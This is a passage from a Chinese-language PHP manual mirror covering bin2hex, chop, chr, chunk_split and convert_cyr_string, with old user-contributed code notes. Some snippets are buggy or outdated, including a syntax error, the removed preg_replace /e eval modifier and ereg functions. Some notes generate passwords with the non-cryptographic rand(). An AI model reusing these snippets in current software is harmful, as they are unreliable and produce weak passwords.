   $encoded = chunk_split($string, 2, '=');
   $encoded=preg_replace ("/=$/","",$encoded);
   $string="=?$charset?Q?".$encoded."?=";

return $string;
}
?>
tightcode at hotmail dot com
26-Aug-2001 11:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
   $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
   return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
gherson at snet dot net
16-Mar-2001 04:56
As is, the

<?php
function  hex2bin($hex_data){
return (DecBin(HexDec($hex_data)));
}
?>

suggested above will return actual ones and zeroes as opposed to a binary string interpreted as ascii. E.g., "11000010110001001100011" gets returned instead of "abc".
pedram at redhive dot com
01-Feb-2001 09:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
       $encoded = bin2hex("$email_address");
       $encoded = chunk_split($encoded, 2, '%');
       $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
       return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram
add a note add a note

后退 | 起点 | 前进
addslashes | 上一级 | chop


chop

(PHP 3, PHP 4, PHP 5)

chop -- rtrim() 的别名函数

描述

此函数是 rtrim() 的别名函数。

注: chop() 与 Perl 的 chop() 函数有所不同，其删除字符串的最后一个字符。

add a note add a note User Contributed Notes
thebitman at comcast dot net
23-Jan-2004 05:39
Just doing an ego search, noticed this old thread. I think all of you have missed my point- I was trying to emulate perl's chop() function, *NOT* perl's chomp() function. I just called it chomp() in PHP as chop() is already taken.
Perl's chop() does two very important things (in my arrogant opinion):
-If given an array, it will chop() every element in the array
-It returns the character removed (leading to some while loops which certain people would murder you for using, and certain other people would go out of their way to use)

I guess calling it chomp() was a bad idea.. pretend I said "perl_chop()" instead.
php at newmediaone dot com
01-Nov-2003 02:54
The above notes are confusing 2 different Perl fuctions, chop and chomp.

In Perl, chop removes and returns the last charecter of a string.  This function was often used in Perl <= version 4 to remove newlines, and in some cases, you'd think you were choping a new line, but if the last charecter wan't a newline, chop would still remove it.

As of Perl 5, chomp (note the "m") was introducted.  Chomp removes the last character(s) of a string only if those chatecters are new lines, and it returns the number of characters deleted.  (If the string ends in multiple newlines, they will all be choped off, and if the last charecter is not a new line, nothing will be choped off.)

So, I don't think either of the above examples quite duplicate Perl's chomp, but they are both very helpful.
zebadger@excite(dhot)com
04-Jun-2003 08:27
The perl version of chomp only removes newlines.  I modified the previous code to do that.

<?php
function chomp(&$string)
{
       if (is_array($string))
       {
               foreach($string as $i => $val)
               {
                       $endchar = chomp($string[$i]);
               }
       } else {
               $endchar = substr("$string", strlen("$string") - 1, 1);
               if ($endchar == "\n")
               {
                       $string = substr("$string", 0, -1);
               }
       }
       return $endchar;
}
?>
thebitman at attbi dot com
29-Apr-2003 07:24
Actually, PHP's chop() acts just as perl's chomp(). The above user-contributed example does not act enough like perl's chop(), however. An important part of perl's chop() is that it returns the chop()ed character. Here's how to get perl-style chop()s [let's call it chomp() just to bring this whole mess full-circle]

<?php
function chomp(&$string)
{
if (is_array($string))
{
foreach($string as $i => $val)
{
$endchar = chomp($string[$i]);
}
} else {
$endchar = substr("$string", strlen("$string") - 1, 1);
$string = substr("$string", 0, -1);
}
return $endchar;
}
?>
bernard dot SPAM at mindfiredesign dot SPAM dot co dot uk
22-Jan-2002 05:23
To get a perl style chop():
<?php
$foo = "bar";
$foo = substr("$foo", 0, -1);
echo $foo;

//returns "ba" (removes last character)
?>
add a note add a note

后退 | 起点 | 前进
bin2hex | 上一级 | chr


chr

(PHP 3, PHP 4, PHP 5)

chr -- 返回指定的字符

描述

string chr ( int ascii )

返回相对应于 ascii 所指定的单个字符。

例子 1. chr() 示例

<?php
$str = "The string ends in escape: ";
$str .= chr(27); /* 在 $str 后边增加换码符 */

/* 通常这样更有用 */

$str = sprintf("The string ends in escape: %c", 27);
?>

你可以在此处找到 ASCII 码表：http://www.asciitable.com。

此函数与 ord() 是互补的。参见 sprintf() 如何使用格式字符串 %c。

add a note add a note User Contributed Notes
JasonLauDotBiz
17-Feb-2006 11:34
I didn't see it here, so here's simple random string generation using char.

for($i=0; $i<7; $i++){
$random_string .= chr(rand(0,25)+65);
}
echo $random_string;
sgaston at mercy corps dot ()rg
14-Feb-2006 06:52
I found this function useful as a way to detect and to replace Microsoft Smart Quotes when desplaying info on a webpage.

The following lines seem to do the trick:

<?php
$text = "string containing Microsoft Smart Quotes...";
$chrs = array (chr(150), chr(147), chr(148), chr(146));
$repl = array ("-", "\"", "\"", "'");
$text = str_replace($chrs, $repl, $text);
?>
plugwash at p10link dot net
15-Jan-2006 04:41
bear in mind that php doesn't really care about character sets. php strings are just arbitary byte sequences thier meaning (especailly when you go beyond code 127) depends entirely on whats interpreting the data (in the case of a browser the charset specified in the http headers).
admin at icstrategy dot midgetforhire dot com
09-Jan-2006 02:51
I made a password generator with this function...

<?php
$passlength = 8;
$pass = "";
$i = 0;
while($i <= $passlength)
   {
   $pass .= chr(rand(33,126));
   $i++;
   }
echo $pass;
?>

Ofcourse you can change passlength.

Example of an 8-char password:
AFJ\)t'u}

I realise it isn't compatible for all sites, but most will accept :)
bg at ms dot com
16-Oct-2005 02:20
"If anyone can shed some light on what the difference is, please do."

This is what happens when you give bright young people new power but without old understanding.

A line feed
...........does this.

A carriage return
does this.

The "carriage" is the typewriter (or teletypewriter's) strikehead mechanism.  The "return" means return to leftmost margin; whereas, linefeed means just go down one line but remain at unaltered horizontal position.
php at elijahtech dot com
26-Aug-2005 11:52
Based on Mike's code, here are some handy functions to convert integer numbers into an alphanumeric form based on a custom character set.  Meaning, the array $chrs can include anything, and as long as the same $chrs is used in the decoding, it will always work.  I am using it a condense a generated ID that gets displayed.

e.g., g5 = 997, 10000093 = FXtP -- Much shorter!

Elijah
-----------------------------------------------------------
$chrs = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S' ,'T', 'U', 'V', 'W', 'X', 'Y', 'Z');

function int_to_alph($int, $chrs)
{
  $base = sizeof($chrs);
  do {
   $alph = $chrs[($int % $base)] . $alph;
  } while($int = intval($int / $base));
  return $alph;
}

function alph_to_int($alph, $chrs)
{
  $base = sizeof($chrs);
  for($i = 0, $int = 0; $i < strlen($alph); $i++)
  {
   $int += intval(array_search(substr($alph, strlen($alph) - $i - 1, 1), $chrs)) * pow($base, $i);
  }
  return $int;
}
grey - greywyvern - com
19-Aug-2005 10:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
   $utf = chr($dec);
  } else if ($dec < 2048) {
   $utf = chr(192 + (($dec - ($dec % 64)) / 64));
   $utf .= chr(128 + ($dec % 64));
  } else {
   $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
   $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
   $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
Mike
28-Jun-2005 10:43
Hi out there!

Here are two usefull functions to convert ordinal values to int value and back (unlimited length).

For Example:
'A' = 1
'B' = 2
'C' = 3
'AA' = 27
'ABC' = 731

Convert ordinal value to INT:

function convertAlphabetToInt($alpha_string) {
   $int_wert=0;
   $potenzcounter=0;
   for ($i=strlen($alpha_string);$i>0;$i--) {
       $ordinalwert=(ord(substr($alpha_string,$i-1,1))-64);
       $int_wert+=$ordinalwert*pow(26,$potenzcounter);
       $potenzcounter++;
   }
   return $int_wert;
}

And back from INT to ordinal:

function convertIntToAlphabet($int_wert) {
   if($int_wert%26>=1) {
       $alpha_string=chr(($int_wert%26)+64).$alpha_string;
       $alpha_string=convertIntToAlphabet($int_wert/26).$alpha_string;
   }
   return $alpha_string;
}

This functions will return for example:
convertAlphabetToInt("ABCD") => Output: 19010
convertIntToAlphabet(19010) = Output: "ABCD"

I hope someone can use it :)
Greetings,
Mike
24-May-2005 10:15
If you want to increment your letter, which is stored as a string, you have to convert it back to an integer first.

<?php
   $letter=strtolower($_GET['letter']);    //You wanted this originally, but not decided you want the previous letter
   $letter=ord($letter);            //Convert to an integer
   $letter=chr($letter-1);            //Convert back to a string, but the previous letter (naturally won't work with A or a)
?>
mike at go dot online dot pt
12-Mar-2005 04:18
In addition to what mcusack wrote about new lines in text files under Windows:

<?php
$text = "First line\r\n";
$text .= "Second line";
echo $text;
?>
Will output:
First lineSecond line

<?php
$text = "First line" . chr(13) . chr(10);
$text .= "Second line";
echo $text;
?>
Will output:
First line
Second line
sarabas at itstudio dot pl
17-Feb-2005 08:26
The following function helped me to generate ascii-only usernames from firstname/lastname containing iso-8859-2 characters. The convertion array was based on contents of 'man iso-8859-2'.

Example: iso2ascii("b&#322;a&#380;ej.&#378;d&#378;b&#322;o") returns "blazej.zdzblo"

function iso2ascii($str) {
 $arr=array(
  chr(161)=>'A', chr(163)=>'L', chr(165)=>'L', chr(166)=>'S', chr(169)=>'S',
  chr(170)=>'S', chr(171)=>'T', chr(172)=>'Z', chr(174)=>'Z', chr(175)=>'Z',
  chr(177)=>'a', chr(179)=>'l', chr(181)=>'l', chr(182)=>'s', chr(185)=>'s',
  chr(186)=>'s', chr(187)=>'t', chr(188)=>'z', chr(190)=>'z', chr(191)=>'z',
  chr(192)=>'R', chr(193)=>'A', chr(194)=>'A', chr(195)=>'A', chr(196)=>'A',
  chr(197)=>'L', chr(198)=>'C', chr(199)=>'C', chr(200)=>'C', chr(201)=>'E',
  chr(202)=>'E', chr(203)=>'E', chr(204)=>'E', chr(205)=>'I', chr(206)=>'I',
  chr(207)=>'D', chr(208)=>'D', chr(209)=>'N', chr(210)=>'N', chr(211)=>'O',
  chr(212)=>'O', chr(213)=>'O', chr(214)=>'O', chr(216)=>'R', chr(217)=>'U',
  chr(218)=>'U', chr(219)=>'U', chr(220)=>'U', chr(221)=>'Y', chr(222)=>'T',
  chr(223)=>'s', chr(224)=>'r', chr(225)=>'a', chr(226)=>'a', chr(227)=>'a',
  chr(228)=>'a', chr(229)=>'l', chr(230)=>'c', chr(231)=>'c', chr(232)=>'c',
  chr(233)=>'e', chr(234)=>'e', chr(235)=>'e', chr(236)=>'e', chr(237)=>'i',
  chr(238)=>'i', chr(239)=>'d', chr(240)=>'d', chr(241)=>'n', chr(242)=>'n',
  chr(243)=>'o', chr(244)=>'o', chr(245)=>'o', chr(246)=>'o', chr(248)=>'r',
  chr(249)=>'u', chr(250)=>'u', chr(251)=>'u', chr(252)=>'u', chr(253)=>'y',
  chr(254)=>'t'
 );
 return strtr($str,$arr);
}
16-Dec-2004 02:04
Same function as suggested by tippy2k/jmartin. tippy2k's code seems to have a syntax error in the function declaration; jmartin's code throws a notice.
So here's yet another version, without temporary variables and loops:

<?
// 1 <= $a <= 702
function col2str($a) {
 return ($a-->26?chr(($a/26+25)%26+ord('A')):'').chr($a%26+ord('A'));
}

// Example
$colname = col2str(1) // returns "A"
$colname = col2str(27) // returns "AA"
$colname = col2str(702) // returns "ZZ"
?>
jon
15-Sep-2004 07:11
in response to jcokos's function for catching non-Ascii values when converting to entitites for XML.

I have found it better to use htmlspecialchars rather than htmlentities because htmlentities does convert some non-Ascii characters to entitities, for example the copyright symbol. To be fully compliant with XML, the numeric entity should be used, rather than the symbolic version used in htmlentities.

<?php
   function strictify ( $string ) {

       $fixed = htmlspecialchars( $string, ENT_QUOTES );

       $trans_array = array();
       for ($i=127; $i<255; $i++) {
           $trans_array[chr($i)] = "&#" . $i . ";";
       }

       $really_fixed = strtr($fixed, $trans_array);

       return $really_fixed;

   }
?>
tenyou at gmail dot com
15-Jul-2004 02:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
       for ($i=0; $i < strlen($string); $i)  {
       $decoded .= chr(hexdec(substr($string,$i,2)));
       $i = (float)($i)+2;
       }
return $decoded;
}
?>
tippy2k
14-May-2004 10:27
Working on the same thing as jmartin today.  701 is the limit of the script, 'ZZ'.  This should work a little faster.  Hope it helps.

<?
function SSkey($xkey+1) {
   $prefix = chr(floor($xkey+1 / 26)+64);
   if($prefix == chr(64)) unset($prefix);
   $suffix = chr($xkey+1 - (floor($xkey+1 / 26)*26) +64);
   if($suffix == chr(64)) {
       $prefix = chr( ord($prefix) -1);
       if($prefix == chr(64)) unset($prefix);
       $suffix = 'Z';
   }
   $sskey = "$prefix$suffix";
   return $sskey;
}
?>
jmartin at prescientsoftware dot com
14-Apr-2004 05:42
Here is a function that will convert column numbers in to a letters for use in a spreadsheet.  It is limited up to 'ZZ' but can easliy by modifed.

<?php
 function col2chr($a){
       if($a<27){
           return strtoupper(chr($a+96));
       }else{
           while($a > 26){
               $b++;
               $a = $a-26;
           }
           $b = strtoupper(chr($b+96));
           $a = strtoupper(chr($a+96));
           return $b.$a;
       }
   }
?>
perrodin at laposte dot net
12-Apr-2004 07:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
goffrie at somewhere dot ca
06-Apr-2004 08:06
ASCII 7 makes a beep.
so
print chr(7);
is useful in long scripts (like ones that download big files) when you want to get the user's attention after a long time of waiting.
---------------------
Me:)
---------------------
mcusack at fastlanecompanies dot com
26-Mar-2004 08:46
when working with output to a windows system i.e. a textfile the end of line "\n" will not return a valid newline that windows will understand (this is due to a lack of standards accross OS types) this is because windows reads new lines as carriage return and an additional char the linefeed the traditional "\n" so in short use the following to produce a new line under a windows text environment "\r\n"

// not tested but this should work in most cases (i think....)

<?php
function win_nl2br($stringtext) {
return str_replace("\r\n", "<br>", $stringtext);
}

function win_br2nl($stringtext) {
return str_replace("<br>", "\r\n", $stringtext);
}
?>

Hope this is as informative to you as it was to me ......
loremaster
09-Sep-2003 04:27
Re: Kristin: Line feed vs carriage return

I may be wrong, it's been a while since I cared about the difference.

Line feeds add a new line below the current carriage position and moves the carriage to it.
Carriage return brings the carriage (or cursor, if you like) to the beginning of the line.

Most mutliline text fields, when you press Enter, you get both a line feed (new line) and a carriage return (return).  Typically I use the strtr function and replace "\n\r" rather than searching for ascii 13 and 10.  There are many ways, of course, so your mileage may vary.
jgray at triangle dash solutions dot com
26-Jul-2003 01:20
Lowercase alphabet:
for($a=97;$a<(97+26);$a++){ echo chr($a); }
infoserv at chollian dot net
25-Jun-2003 11:16
Cutting Korean(2Byte)-String

<?php
function cutStr($str,$len){
   if(strlen($str) > $len){
       $str = substr($str,0,$len - 2);
       if(strlen(substr(strrchr($str," "),1)) % 2)
           $str = substr($str,0,strlen($str) - 1);
       $str .= "..";
   }
   return $str;
}
?>
jcokos
27-Mar-2003 10:12
A quick function that I use to make strings "XML" compliant, changing every special character into their #$... equivalent.

htmlentities doesn't get all of the chars above 127, so the second part of this (which I stole from one of the comments above) finishes the process, returning a nice, xml happy string.

<?php
   function strictify ( $string ) {

       $fixed = htmlentities( $string, ENT_QUOTES );

       $trans_array = array();
       for ($i=127; $i<255; $i++) {
           $trans_array[chr($i)] = "&#" . $i . ";";
       }

       $really_fixed = strtr($fixed, $trans_array);

       return $really_fixed;

   }
?>

HTH
avenger at php dot net
22-Mar-2003 05:26
I usally used this code to test a Chinese string:

<?php
$chinese_str = "";
if (preg_match("/^[".chr(0xa1)."-".chr(0xff)."_-]+$/",$chinese_str) {
   echo 'This is a Chinese word..';
} else {
   echo 'This is not a Chinese word..';
}
?>
Kristin
07-Mar-2003 12:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com
15-Dec-2002 06:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
       'LIGHT_RED'      => "[1;31m",
       'LIGHT_GREEN'    => "[1;32m",
       'YELLOW'    => "[1;33m",
       'LIGHT_BLUE'    => "[1;34m",
       'MAGENTA'    => "[1;35m",
       'LIGHT_CYAN'    => "[1;36m",
       'WHITE'    => "[1;37m",
       'NORMAL'    => "[0m",
       'BLACK'    => "[0;30m",
       'RED'        => "[0;31m",
       'GREEN'    => "[0;32m",
       'BROWN'    => "[0;33m",
       'BLUE'        => "[0;34m",
       'CYAN'        => "[0;36m",
       'BOLD'        => "[1m",
       'UNDERSCORE'    => "[4m",
       'REVERSE'    => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
   global $_colors;
   $out = $_colors["$color"];
   if($out == ""){ $out = "[0m"; }
   if($back){
       return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
   }else{
       echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
   }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
gschafer at robandger dot com
09-Nov-2002 08:17
Here's a small function I wrote up to generate random passwords using the chr() function.

<?php
function randPass($len)
{
 $pw = ''; //intialize to be blank
 for($i=0;$i<$len;$i++)
 {
   switch(rand(1,3))
   {
     case 1: $pw.=chr(rand(48,57));  break; //0-9
     case 2: $pw.=chr(rand(65,90));  break; //A-Z
     case 3: $pw.=chr(rand(97,122)); break; //a-z
   }
 }
 return $pw;
}
?>

Example:

<?php
 $password = randPass(10); //assigns 10-character password
?>

I found this useful in my early coding days... I'm sure someone else will too :D
29-Jun-2002 11:05
This bit of code will convert all those lovely tilde,umlaut etc. etc. characters into safe character codes:

<?php
   $trans_array = array();
   for ($i=127; $i<255; $i++) {
       $trans_array[chr($i)] = "&#" . $i . ";";
   }
   $outtext = strtr($intext, $trans_array);
?>
webmaster at project-enigma dot net
14-Apr-2002 03:51
\n == &#13;
Usefull if u want to display multi-line-alt-strings
e.g. <img src="/gifs/php_logo.gif" alt="Here u can see the&#13;PHPLogo&#13;3rd line">
happyevil(at)1218.org
27-Mar-2001 11:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com
10-May-2000 07:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.
add a note add a note

后退 | 起点 | 前进
chop | 上一级 | chunk_split


chunk_split

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

chunk_split -- 将字符串分割成小块

描述

string chunk_split ( string body [, int chunklen [, string end]] )

使用此函数将字符串分割成小块非常有用。例如将 base64_encode() 的输出转换成符合 RFC 2045 语义的字符串。它会在每 chunklen（默认为 76）个字符后边插入 end（默认为“\r\n”）。此函数会返回新的字符串，而不会修改原有字符串。

例子 1. chunk_split() 示例

<?php
// 使用 RFC 2045 语义格式化 $data
$new_string = chunk_split(base64_encode($data));
?>

参见 str_split()、explode()、split()、wordwrap() 和 RFC 2045。

add a note add a note User Contributed Notes
xamine at gmail dot com
05-Jun-2006 02:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
   $number = strrev(chunk_split (strrev($number), 3,' '));
   //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com
04-Oct-2005 10:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net
30-Jul-2005 08:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
adrian at zhp dot inet dot pl
09-Jul-2005 05:28
If you need to output number formated with thousand's separator, just use it:

$number = strrev(chunk_split (strrev($number), 3,' '));

If $number is '1234567', result is '1 234 567'.
Kevin
26-Jun-2005 07:10
To phpkid:

This is a much simpler solution.

<?php
function longWordWrap($string) {
   $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
   $words = explode(" ", $string); // now split by space
   foreach ($words as $word) {
       $outstring .= chunk_split($word, 12, " ") . " ";
   }
   return $outstring;
}
?>
Chris
16-Jun-2005 05:18
@phpkid:

You can avoid such long complex code and just use some CSS stuff.

Just add style="table-layout:fixed" in your <td > tag and your problem will be solved.

ciao
phpkid
29-May-2005 01:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
   $Exploded = explode(" ", $String);
   $Max_Parts = count($Exploded);

   $CurArray = 0;
   $OutString = '';
   while($CurArray<=$Max_Parts)
   {
       $Peice_Size = strlen($Exploded[$CurArray]);
       if($Peice_Size>15)
       {
           $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
           $CurArray++;
       } else {
           $OutString .= " ".$Exploded[$CurArray];
           $CurArray++;
       }
   }

   return $OutString;
}
mv@NOSPAM
24-Jan-2004 11:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo
11-Dec-2003 06:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
will return FF:99:FF
sbarnum at pointsystems dot com
21-Apr-2001 10:46
[Editor's note: You can always use wordwrap('FF99FF', 2, ':', 2); to avoid this]

chunk_split will also add the break _after_ the last occurence.  So, attempting to split a color into base components,
chunk_split('FF99FF', 2, ':');
will return FF:99:FF:
add a note add a note

后退 | 起点 | 前进
chr | 上一级 | convert_cyr_string


convert_cyr_string

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

convert_cyr_string -- 将字符由一种 Cyrillic 字符转换成另一种

描述

string convert_cyr_string ( string str, string from, string to )

此函数将给定的字符串从一种 Cyrillic 字符转换成另一种，返回转换之后的字符串。from 和 to 参数为单个字符，分别代表了源及目标 Cyrillic 字符集。支持的类型有：

  • k - koi8-r

  • w - windows-1251

  • i - iso8859-5

  • a - x-cp866

  • d - x-cp866

  • m - x-mac-cyrillic

add a note add a note User Contributed Notes
Sote Korveziroski
25-May-2006 05:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski
25-May-2006 01:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru
24-Mar-2006 04:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
   $conv=array();
   for($x=192;$x<=239;$x++)
       $conv[u][chr($x)]=chr(208).chr($x-48);
   for($x=240;$x<=255;$x++)
       $conv[u][chr($x)]=chr(209).chr($x-112);
   $conv[u][chr(168)]=chr(208).chr(129);
   $conv[u][chr(184)]=chr(209).chr(209);
   $conv[w]=array_flip($conv[u]);
   if($type=='w' || $type=='u')
       return strtr($str,$conv[$type]);
   else
       return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru
24-Mar-2006 03:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
   $conv=array();
   for($x=192;$x<=239;$x++)
       $conv[u][chr($x)]=chr(208).chr($x-48);
   for($x=240;$x<=255;$x++)
       $conv[u][chr($x)]=chr(209).chr($x-112);
   $conv[u][chr(168)]=chr(208).chr(129);
   $conv[u][chr(184)]=chr(209).chr(209);
   $conv[w]=array_reverse($conv[u]);
   if($type=='w' || $type=='u')
       return strtr($str,$conv[$type]);
   else
       return $str;
}
sidor <sidor at sidor dot nnov dot ru>
10-Mar-2006 01:23
Sorry for my English

100% worked function for convertion string to utf-8. In this implementation support main cyrilic encodings (cp1251, koi8-r, cp866, mac) For supporting another codepages - just add needed codepage in $recode array (codes in UCS-4. Add just second part of codetable). Second argument for this function for cyrilic codepages - like in convert_cyr_string function ('k','w','a','d','m')
Writed in accordance with rfc2279

Created by Andrey A Sidorenko aka sidor

http://sidor.nnov.ru/str2utf.txt
Timuretis
06-Nov-2005 10:56
// Modificated by tapin13
// Corrected by Timuretis
// Convert win-1251 to utf-8

 function unicode_russian($str) {
     $encode = "";
//    1025 = "&#1025;";
//    1105 = "&#1105;";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 168) {
//            $xchr = "&#1025";
               $xchr = "&#1025;"; //!!!!!!!!!!!!!!!!!!!!!!!
         }
         if(ord($xchr) == 184) {
//            $xchr = "&#1105";
               $xchr = "&#1105;"; //!!!!!!!!!!!!!!!!!!!!!!
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
tapin13 at atilian dot co dot il
18-Oct-2005 05:20
// Modificated by tapin13
// Convert win-1251 to utf-8

 function unicode_russian($str) {
     $encode = "";
//    1025 = "&#1025;";
//    1105 = "&#1105;";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 168) {
